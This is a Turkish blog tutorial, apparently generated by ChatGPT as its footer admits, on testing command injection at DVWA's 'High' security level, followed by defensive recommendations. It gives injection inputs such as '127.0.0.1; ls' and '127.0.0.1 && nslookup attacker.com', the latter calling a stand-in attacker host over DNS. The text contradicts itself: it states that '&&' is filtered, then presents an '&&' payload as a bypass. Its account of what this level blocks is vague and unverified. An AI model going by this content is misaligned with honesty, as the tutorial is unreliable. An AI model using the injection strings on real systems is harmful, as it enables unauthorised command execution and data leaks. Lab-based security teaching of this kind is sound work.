Giriş
DVWA’daki Command Injection zafiyetini “High Level” (Yüksek Seviye) güvenlik ayarında test etmek, en zor aşamayı temsil eder. Yüksek seviye ayarlarında güvenlik kontrolleri artırılmıştır ve kullanıcı girişlerinin doğrulanması çok daha katı bir şekilde yapılmaktadır. Bu seviyede, saldırganın geleneksel komut enjeksiyonu tekniklerini kullanarak sunucuya sızması oldukça zordur, çünkü girdi kontrolü daha sıkıdır ve komut enjeksiyonunu önleyecek çeşitli mekanizmalar devreye sokulmuştur.
Ancak, güvenlik önlemlerine rağmen saldırganlar bazen zayıf noktaları keşfedebilir. Bu yazıda, DVWA’da yüksek güvenlik seviyesinde command injection zafiyetinin nasıl çalıştığını, zafiyeti anlamayı ve zafiyeti aşmak için potansiyel yolları inceleyeceğiz.
1. Yüksek Seviye Güvenlik Zafiyetinin Farkları
Yüksek seviyede güvenlik tedbirleri daha güçlüdür ve genellikle aşağıdaki önlemleri içerir:
- Girdi doğrulama: Kullanıcı tarafından sağlanan girdiler daha sıkı bir doğrulama sürecinden geçer. Zararlı karakterler ve komut zincirleme sembolleri (
;
,&&
,|
) filtrelenir. - Girdi sanitizasyonu: Girdiler filtrelenir ve özel karakterler zararsız hale getirilir.
- Hazır fonksiyonlar: Sistemde komut çalıştırmak yerine, parametre tabanlı ve güvenli fonksiyonlar tercih edilir.
- Özel sistem erişimlerinin kısıtlanması: Web uygulamasının çalıştığı kullanıcı en az yetkilere sahip şekilde yapılandırılır.
2. DVWA High Level Command Injection Zafiyetine Hazırlık
DVWA’yı daha önce kurduysanız ve güvenlik seviyesini ayarladıysanız, “High” (Yüksek) seviyeye geçmek için:
- DVWA arayüzüne giriş yapın.
- Sol menüde yer alan DVWA Security seçeneğine tıklayın.
- Güvenlik seviyesini High olarak ayarlayın ve kaydedin.
Ardından sol menüdeki Command Injection sayfasına gidin. Formda yine bir IP adresi girebileceğiniz alan olacaktır. Ancak, düşük ve orta seviyelere kıyasla, bu alana zararlı komutlar enjekte etmeye çalıştığınızda saldırılar engellenecektir.
3. Yüksek Seviye Command Injection Zafiyetinin Çalıştırılması
İlk Test – Basit IP Girişi
Formdaki IP adresi alanına 127.0.0.1
yazın ve “Submit” butonuna basın. Sonuç olarak ping komutu çalıştırılacak ve standart bir sonuç dönecektir. Ancak zararlı girdi (örneğin 127.0.0.1; ls
) çalıştırmaya çalışırsanız, komut enjeksiyonunu engelleyen bir doğrulama olduğunu göreceksiniz.
Girdi Filtrelemesi ve Kaçış Dizileri
Bu güvenlik seviyesi altında komut enjeksiyonu denemelerinde kullanılan karakterlerin (örneğin ;
, &&
, |
, vb.) tümü engellenmiştir. Ek olarak, boşluklar ve komut ayırıcılar da düzgün şekilde filtrelenmiştir. Bu seviyede kullanıcı girdi sanitizasyonu çok daha sıkı olduğu için saldırganın girdiği komutlar etkisiz hale getirilmektedir.
Örnek:
127.0.0.1; ls
→ Engellenir.127.0.0.1 && ls
→ Engellenir.127.0.0.1 | ls
→ Engellenir.
Yani, geleneksel yöntemlerle komut eklemeye çalışmak işe yaramaz.
4. Zafiyeti Aşma Teknikleri
High Level seviyesinde komut enjeksiyonu yapabilmek, çoğunlukla mümkün olmayabilir. Ancak, sistemde bir güvenlik hatası veya başka bir konfigürasyon zafiyeti varsa, potansiyel olarak şu teknikler incelenebilir:
a) Kör Komut Enjeksiyonu (Blind Command Injection)
Eğer çıktı ekranda gösterilmiyorsa ancak komutun arka planda çalıştığına dair bir işaret varsa, “kör” komut enjeksiyonu teknikleri kullanılabilir. Bu durumda saldırgan çıktıyı doğrudan göremese de, komutların çalışıp çalışmadığını dış kaynaklara başvurarak öğrenebilir. Örneğin, sistemin saldırgana bir sinyal göndermesini sağlamak mümkündür.
- DNS Tünelleme: Uygulamanın DNS sorgusu yaparak bir dış kaynağa bağlantı açması sağlanabilir.
127.0.0.1 && nslookup attacker.com
Bu komut sunucunun attacker.com
adresine DNS isteği göndermesine neden olabilir.
b) Zayıf Nokta Keşfi
Yüksek güvenlik seviyesinde uygulama geliştiricileri tipik olarak tüm tehlikeli karakterleri ve komutları filtreler, ancak bazen kaçırılan bir karakter veya zayıf bir filtreleme mekanizması olabilir. Saldırgan bu zayıf noktaları keşfetmeye çalışarak, alternatif komut yapılarını deneyebilir.
c) Sistem Zafiyetlerinden Yararlanma
Eğer uygulama başka bir güvenlik zafiyetine sahipse (örneğin, dosya yükleme zafiyeti, kötü yapılandırılmış bir servis veya zayıf yetki yönetimi), komut enjeksiyonu ile kombine edilerek sistem üzerinde kontrol elde edilebilir. Örneğin, başka bir açık kullanarak uygulama sunucusuna zararlı bir dosya yükleyip, bu dosyayı çalıştırarak komut enjeksiyonunu tetikleyebilirsiniz.
5. Güvenlik Önerileri
High Level’de bile komut enjeksiyonunun tamamen önlenmesi için aşağıdaki güvenlik önlemleri alınmalıdır:
- Parametreleştirilmiş Fonksiyonlar Kullanma: Komutları doğrudan çalıştırmak yerine, parametreleştirilmiş ve güvenli API’ler kullanılmalıdır.
- Girdi Doğrulama ve Filtreleme: Kullanıcıdan gelen tüm girdiler sıkı şekilde doğrulanmalı ve tehlikeli karakterler temizlenmelidir.
- Minimum Yetki İlkesi: Uygulamanın çalıştığı kullanıcının sistemde minimum yetkilere sahip olması sağlanmalıdır. Böylece bir saldırgan yetki yükseltmeye çalışsa bile sınırlı yetkilere sahip olur.
- Güncel Güvenlik Protokolleri: Web uygulamaları en son güvenlik protokollerine göre güncellenmeli ve sistem üzerinde tam denetim yapılmalıdır.
6. Sonuç
High Level ayarında DVWA’daki komut enjeksiyonu zafiyeti, geliştiricilerin daha güçlü doğrulama mekanizmaları ve sıkı güvenlik kontrolleri eklediği bir aşamadır. Bu seviyede saldırı gerçekleştirmek oldukça zordur ve genellikle başka güvenlik açıklarıyla birleştirilmesi gerekebilir. Komut enjeksiyonunu önlemenin en iyi yolları, girdi doğrulamasını katı kurallarla uygulamak, parametre bazlı komutlar kullanmak ve sistemde gereksiz yetkilendirmeleri engellemektir.
Bu tür saldırıların her zaman izinli ortamlarda ve eğitim amaçlı yapılması gerektiğini unutmayın; yetkisiz saldırılar yasa dışıdır ve cezai sorumluluk doğurabilir.
İçerikler ChatGPT ile oluşturulmuş ve teyide muhtaç bilgilerdir.Sorun veya önerinizi iletişim sayfasından yazabilirsiniz.
Yorum Yap